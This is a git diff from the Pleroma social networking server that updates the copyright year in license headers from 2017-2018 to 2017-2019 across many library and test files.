test/web/oauth/token/utils_test.exs | 2 +-
test/web/oauth/token_test.exs | 2 +-
test/web/ostatus/activity_representer_test.exs | 2 +-
test/web/ostatus/feed_representer_test.exs | 2 +-
test/web/ostatus/ostatus_controller_test.exs | 2 +-
test/web/ostatus/ostatus_test.exs | 2 +-
test/web/plugs/federating_plug_test.exs | 2 +-
test/web/push/impl_test.exs | 2 +-
test/web/salmon/salmon_test.exs | 2 +-
test/web/streamer/streamer_test.exs | 2 +-
test/web/twitter_api/twitter_api_test.exs | 2 +-
test/web/uploader_controller_test.exs | 2 +-
test/web/views/error_view_test.exs | 2 +-
test/web/web_finger/web_finger_controller_test.exs | 2 +-
test/web/web_finger/web_finger_test.exs | 2 +-
test/web/websub/websub_controller_test.exs | 2 +-
test/web/websub/websub_test.exs | 2 +-
95 files changed, 95 insertions(+), 95 deletions(-)
diff --git a/lib/mix/pleroma.ex b/lib/mix/pleroma.ex
index 1b758ea33..faeb30e1d 100644
--- a/lib/mix/pleroma.ex
+++ b/lib/mix/pleroma.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Mix.Pleroma do
diff --git a/lib/mix/tasks/pleroma/database.ex b/lib/mix/tasks/pleroma/database.ex
index bcc2052d6..890a383df 100644
--- a/lib/mix/tasks/pleroma/database.ex
+++ b/lib/mix/tasks/pleroma/database.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Mix.Tasks.Pleroma.Database do
diff --git a/lib/mix/tasks/pleroma/ecto/ecto.ex b/lib/mix/tasks/pleroma/ecto/ecto.ex
index b66f63376..36808b93f 100644
--- a/lib/mix/tasks/pleroma/ecto/ecto.ex
+++ b/lib/mix/tasks/pleroma/ecto/ecto.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-onl
defmodule Mix.Tasks.Pleroma.Ecto do
diff --git a/lib/mix/tasks/pleroma/ecto/migrate.ex b/lib/mix/tasks/pleroma/ecto/migrate.ex
index 855c977f6..d87b6957d 100644
--- a/lib/mix/tasks/pleroma/ecto/migrate.ex
+++ b/lib/mix/tasks/pleroma/ecto/migrate.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-onl
defmodule Mix.Tasks.Pleroma.Ecto.Migrate do
diff --git a/lib/mix/tasks/pleroma/ecto/rollback.ex b/lib/mix/tasks/pleroma/ecto/rollback.ex
index 2ffb0901c..a1af73fa1 100644
--- a/lib/mix/tasks/pleroma/ecto/rollback.ex
+++ b/lib/mix/tasks/pleroma/ecto/rollback.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-onl
defmodule Mix.Tasks.Pleroma.Ecto.Rollback do
diff --git a/lib/mix/tasks/pleroma/emoji.ex b/lib/mix/tasks/pleroma/emoji.ex
index c2225af7d..238d8dcd9 100644
--- a/lib/mix/tasks/pleroma/emoji.ex
+++ b/lib/mix/tasks/pleroma/emoji.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Mix.Tasks.Pleroma.Emoji do
diff --git a/lib/mix/tasks/pleroma/instance.ex b/lib/mix/tasks/pleroma/instance.ex
index b9b1991c2..1a1634fe9 100644
--- a/lib/mix/tasks/pleroma/instance.ex
+++ b/lib/mix/tasks/pleroma/instance.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Mix.Tasks.Pleroma.Instance do
diff --git a/lib/mix/tasks/pleroma/relay.ex b/lib/mix/tasks/pleroma/relay.ex
index a738fae75..200721163 100644
--- a/lib/mix/tasks/pleroma/relay.ex
+++ b/lib/mix/tasks/pleroma/relay.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Mix.Tasks.Pleroma.Relay do
diff --git a/lib/mix/tasks/pleroma/uploads.ex b/lib/mix/tasks/pleroma/uploads.ex
index be45383ee..95392d81b 100644
--- a/lib/mix/tasks/pleroma/uploads.ex
+++ b/lib/mix/tasks/pleroma/uploads.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Mix.Tasks.Pleroma.Uploads do
diff --git a/lib/mix/tasks/pleroma/user.ex b/lib/mix/tasks/pleroma/user.ex
index a3f8bc945..eb0052144 100644
--- a/lib/mix/tasks/pleroma/user.ex
+++ b/lib/mix/tasks/pleroma/user.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Mix.Tasks.Pleroma.User do
diff --git a/lib/pleroma/activity/queries.ex b/lib/pleroma/activity/queries.ex
index 13fa33831..949f010a8 100644
--- a/lib/pleroma/activity/queries.ex
+++ b/lib/pleroma/activity/queries.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Activity.Queries do
diff --git a/lib/pleroma/user/query.ex b/lib/pleroma/user/query.ex
index f9bcc9e19..2baf016cf 100644
--- a/lib/pleroma/user/query.ex
+++ b/lib/pleroma/user/query.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.User.Query do
diff --git a/lib/pleroma/web/oauth/token/clean_worker.ex b/lib/pleroma/web/oauth/token/clean_worker.ex
index eb94bf86f..f639f9c6f 100644
--- a/lib/pleroma/web/oauth/token/clean_worker.ex
+++ b/lib/pleroma/web/oauth/token/clean_worker.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OAuth.Token.CleanWorker do
diff --git a/lib/pleroma/web/oauth/token/query.ex b/lib/pleroma/web/oauth/token/query.ex
index d92e1f071..9642103e6 100644
--- a/lib/pleroma/web/oauth/token/query.ex
+++ b/lib/pleroma/web/oauth/token/query.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OAuth.Token.Query do
diff --git a/test/activity_test.exs b/test/activity_test.exs
index 6512d84ac..95d9341c4 100644
--- a/test/activity_test.exs
+++ b/test/activity_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ActivityTest do
diff --git a/test/captcha_test.exs b/test/captcha_test.exs
index 7ca9a4607..9f395d6b4 100644
--- a/test/captcha_test.exs
+++ b/test/captcha_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.CaptchaTest do
diff --git a/test/config_test.exs b/test/config_test.exs
index 73f3fcb0a..438fe62ee 100644
--- a/test/config_test.exs
+++ b/test/config_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ConfigTest do
diff --git a/test/daemons/activity_expiration_daemon_test.exs b/test/daemons/activity_expiration_daemon_test.exs
index 31f4a70a6..b51132fb0 100644
--- a/test/daemons/activity_expiration_daemon_test.exs
+++ b/test/daemons/activity_expiration_daemon_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ActivityExpirationWorkerTest do
diff --git a/test/daemons/scheduled_activity_daemon_test.exs b/test/daemons/scheduled_activity_daemon_test.exs
index 32820b2b7..c8e464491 100644
--- a/test/daemons/scheduled_activity_daemon_test.exs
+++ b/test/daemons/scheduled_activity_daemon_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ScheduledActivityDaemonTest do
diff --git a/test/emails/admin_email_test.exs b/test/emails/admin_email_test.exs
index 9e83c73c6..31eac5f12 100644
--- a/test/emails/admin_email_test.exs
+++ b/test/emails/admin_email_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emails.AdminEmailTest do
diff --git a/test/emails/mailer_test.exs b/test/emails/mailer_test.exs
index ae5effb7a..2425c85dd 100644
--- a/test/emails/mailer_test.exs
+++ b/test/emails/mailer_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emails.MailerTest do
diff --git a/test/emails/user_email_test.exs b/test/emails/user_email_test.exs
index 7d8df6abc..963565f7c 100644
--- a/test/emails/user_email_test.exs
+++ b/test/emails/user_email_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emails.UserEmailTest do
diff --git a/test/formatter_test.exs b/test/formatter_test.exs
index bfa673049..c443dfe7c 100644
--- a/test/formatter_test.exs
+++ b/test/formatter_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.FormatterTest do
diff --git a/test/html_test.exs b/test/html_test.exs
index b8906c46a..306ad3b3b 100644
--- a/test/html_test.exs
+++ b/test/html_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.HTMLTest do
diff --git a/test/integration/mastodon_websocket_test.exs b/test/integration/mastodon_websocket_test.exs
index d02a3cc4d..ed7ce8fe0 100644
--- a/test/integration/mastodon_websocket_test.exs
+++ b/test/integration/mastodon_websocket_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Integration.MastodonWebsocketTest do
diff --git a/test/list_test.exs b/test/list_test.exs
index 8efba75ea..ba79251da 100644
--- a/test/list_test.exs
+++ b/test/list_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ListTest do
diff --git a/test/notification_test.exs b/test/notification_test.exs
index 3d2f9a8fc..54c0f9877 100644
--- a/test/notification_test.exs
+++ b/test/notification_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.NotificationTest do
diff --git a/test/object_test.exs b/test/object_test.exs
index ba96aeea4..570213a61 100644
--- a/test/object_test.exs
+++ b/test/object_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ObjectTest do
diff --git a/test/plugs/authentication_plug_test.exs b/test/plugs/authentication_plug_test.exs
index f7f8fd9f3..9ae4c506f 100644
--- a/test/plugs/authentication_plug_test.exs
+++ b/test/plugs/authentication_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.AuthenticationPlugTest do
diff --git a/test/plugs/cache_control_test.exs b/test/plugs/cache_control_test.exs
index 45151b289..69ce6cc7d 100644
--- a/test/plugs/cache_control_test.exs
+++ b/test/plugs/cache_control_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.CacheControlTest do
diff --git a/test/plugs/ensure_public_or_authenticated_plug_test.exs b/test/plugs/ensure_public_or_authenticated_plug_test.exs
index d45662a2a..bae95e150 100644
--- a/test/plugs/ensure_public_or_authenticated_plug_test.exs
+++ b/test/plugs/ensure_public_or_authenticated_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.EnsurePublicOrAuthenticatedPlugTest do
diff --git a/test/plugs/http_security_plug_test.exs b/test/plugs/http_security_plug_test.exs
index 7a2835e3d..9c1c20541 100644
--- a/test/plugs/http_security_plug_test.exs
+++ b/test/plugs/http_security_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Plugs.HTTPSecurityPlugTest do
diff --git a/test/plugs/http_signature_plug_test.exs b/test/plugs/http_signature_plug_test.exs
index d6fd9ea81..d8ace36da 100644
--- a/test/plugs/http_signature_plug_test.exs
+++ b/test/plugs/http_signature_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Plugs.HTTPSignaturePlugTest do
diff --git a/test/plugs/instance_static_test.exs b/test/plugs/instance_static_test.exs
index 6aabc45a4..9b27246fa 100644
--- a/test/plugs/instance_static_test.exs
+++ b/test/plugs/instance_static_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.RuntimeStaticPlugTest do
diff --git a/test/plugs/legacy_authentication_plug_test.exs b/test/plugs/legacy_authentication_plug_test.exs
index 9804e073b..568ef5abd 100644
--- a/test/plugs/legacy_authentication_plug_test.exs
+++ b/test/plugs/legacy_authentication_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.LegacyAuthenticationPlugTest do
diff --git a/test/plugs/mapped_identity_to_signature_plug_test.exs b/test/plugs/mapped_identity_to_signature_plug_test.exs
index bb45d9edf..6b9d3649d 100644
--- a/test/plugs/mapped_identity_to_signature_plug_test.exs
+++ b/test/plugs/mapped_identity_to_signature_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Plugs.MappedSignatureToIdentityPlugTest do
diff --git a/test/plugs/oauth_plug_test.exs b/test/plugs/oauth_plug_test.exs
index 5a2ed11cc..dea11cdb0 100644
--- a/test/plugs/oauth_plug_test.exs
+++ b/test/plugs/oauth_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.OAuthPlugTest do
diff --git a/test/plugs/oauth_scopes_plug_test.exs b/test/plugs/oauth_scopes_plug_test.exs
index f328026df..6a13ea811 100644
--- a/test/plugs/oauth_scopes_plug_test.exs
+++ b/test/plugs/oauth_scopes_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.OAuthScopesPlugTest do
diff --git a/test/plugs/set_format_plug_test.exs b/test/plugs/set_format_plug_test.exs
index bb21956bb..27c026fdd 100644
--- a/test/plugs/set_format_plug_test.exs
+++ b/test/plugs/set_format_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.SetFormatPlugTest do
diff --git a/test/plugs/set_locale_plug_test.exs b/test/plugs/set_locale_plug_test.exs
index b6c4c1cea..0aaeedc1e 100644
--- a/test/plugs/set_locale_plug_test.exs
+++ b/test/plugs/set_locale_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Plugs.SetLocalePlugTest do
diff --git a/test/plugs/uploaded_media_plug_test.exs b/test/plugs/uploaded_media_plug_test.exs
index 49cf5396a..5ba963139 100644
--- a/test/plugs/uploaded_media_plug_test.exs
+++ b/test/plugs/uploaded_media_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.UploadedMediaPlugTest do
diff --git a/test/scheduled_activity_test.exs b/test/scheduled_activity_test.exs
index edc7cc3f9..dcf12fb49 100644
--- a/test/scheduled_activity_test.exs
+++ b/test/scheduled_activity_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ScheduledActivityTest do
diff --git a/test/support/captcha_mock.ex b/test/support/captcha_mock.ex
index ef4e68bc5..65ca6b3bd 100644
--- a/test/support/captcha_mock.ex
+++ b/test/support/captcha_mock.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Captcha.Mock do
diff --git a/test/support/conn_case.ex b/test/support/conn_case.ex
index b39c70677..9897f72ce 100644
--- a/test/support/conn_case.ex
+++ b/test/support/conn_case.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ConnCase do
diff --git a/test/support/data_case.ex b/test/support/data_case.ex
index 17fa15214..4ffcbac9e 100644
--- a/test/support/data_case.ex
+++ b/test/support/data_case.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.DataCase do
diff --git a/test/support/helpers.ex b/test/support/helpers.ex
index a601b3ec8..ce39dd9d8 100644
--- a/test/support/helpers.ex
+++ b/test/support/helpers.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Tests.Helpers do
diff --git a/test/support/http_request_mock.ex b/test/support/http_request_mock.ex
index 231e7c498..6f9886836 100644
--- a/test/support/http_request_mock.ex
+++ b/test/support/http_request_mock.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule HttpRequestMock do
diff --git a/test/support/mrf_module_mock.ex b/test/support/mrf_module_mock.ex
index 12c7e22bc..632c7ff1d 100644
--- a/test/support/mrf_module_mock.ex
+++ b/test/support/mrf_module_mock.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule MRFModuleMock do
diff --git a/test/support/oban_helpers.ex b/test/support/oban_helpers.ex
index 989770926..72792c064 100644
--- a/test/support/oban_helpers.ex
+++ b/test/support/oban_helpers.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Tests.ObanHelpers do
diff --git a/test/support/web_push_http_client_mock.ex b/test/support/web_push_http_client_mock.ex
index d8accd21c..1d6ccff7e 100644
--- a/test/support/web_push_http_client_mock.ex
+++ b/test/support/web_push_http_client_mock.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.WebPushHttpClientMock do
diff --git a/test/tasks/ecto/migrate_test.exs b/test/tasks/ecto/migrate_test.exs
index 0538a7b40..42f6cbf47 100644
--- a/test/tasks/ecto/migrate_test.exs
+++ b/test/tasks/ecto/migrate_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-onl
defmodule Mix.Tasks.Pleroma.Ecto.MigrateTest do
diff --git a/test/tasks/relay_test.exs b/test/tasks/relay_test.exs
index 7bde56606..c866608ab 100644
--- a/test/tasks/relay_test.exs
+++ b/test/tasks/relay_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Mix.Tasks.Pleroma.RelayTest do
diff --git a/test/tasks/user_test.exs b/test/tasks/user_test.exs
index 2b9453042..cf12d9ed6 100644
--- a/test/tasks/user_test.exs
+++ b/test/tasks/user_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Mix.Tasks.Pleroma.UserTest do
diff --git a/test/test_helper.exs b/test/test_helper.exs
index a927b2c3d..fb33e0969 100644
--- a/test/test_helper.exs
+++ b/test/test_helper.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
os_exclude = if :os.type() == {:unix, :darwin}, do: [skip_on_mac: true], else: []
diff --git a/test/upload_test.exs b/test/upload_test.exs
index 6721fe82e..0ca5ebced 100644
--- a/test/upload_test.exs
+++ b/test/upload_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.UploadTest do
diff --git a/test/user_search_test.exs b/test/user_search_test.exs
index 48ce973ad..f7ab31287 100644
--- a/test/user_search_test.exs
+++ b/test/user_search_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.UserSearchTest do
diff --git a/test/user_test.exs b/test/user_test.exs
index b09e9311d..39ba69668 100644
--- a/test/user_test.exs
+++ b/test/user_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.UserTest do
diff --git a/test/web/activity_pub/activity_pub_controller_test.exs b/test/web/activity_pub/activity_pub_controller_test.exs
index f83b14452..9e8e420ec 100644
--- a/test/web/activity_pub/activity_pub_controller_test.exs
+++ b/test/web/activity_pub/activity_pub_controller_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
diff --git a/test/web/activity_pub/relay_test.exs b/test/web/activity_pub/relay_test.exs
index 7315dce26..0f7556538 100644
--- a/test/web/activity_pub/relay_test.exs
+++ b/test/web/activity_pub/relay_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.RelayTest do
diff --git a/test/web/activity_pub/transmogrifier/follow_handling_test.exs b/test/web/activity_pub/transmogrifier/follow_handling_test.exs
index fe89f7cb0..99ab573c5 100644
--- a/test/web/activity_pub/transmogrifier/follow_handling_test.exs
+++ b/test/web/activity_pub/transmogrifier/follow_handling_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.Transmogrifier.FollowHandlingTest do
diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs
index 6c296eb0d..ebed65b7c 100644
--- a/test/web/activity_pub/transmogrifier_test.exs
+++ b/test/web/activity_pub/transmogrifier_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
diff --git a/test/web/admin_api/admin_api_controller_test.exs b/test/web/admin_api/admin_api_controller_test.exs
index c497ea098..41b4364f2 100644
--- a/test/web/admin_api/admin_api_controller_test.exs
+++ b/test/web/admin_api/admin_api_controller_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
diff --git a/test/web/admin_api/search_test.exs b/test/web/admin_api/search_test.exs
index 501a8d007..9df4cd539 100644
--- a/test/web/admin_api/search_test.exs
+++ b/test/web/admin_api/search_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors
+# Copyright © 2017-2019 Pleroma Authors
# SPDX-License-Identifier: AGPL-3.0-only
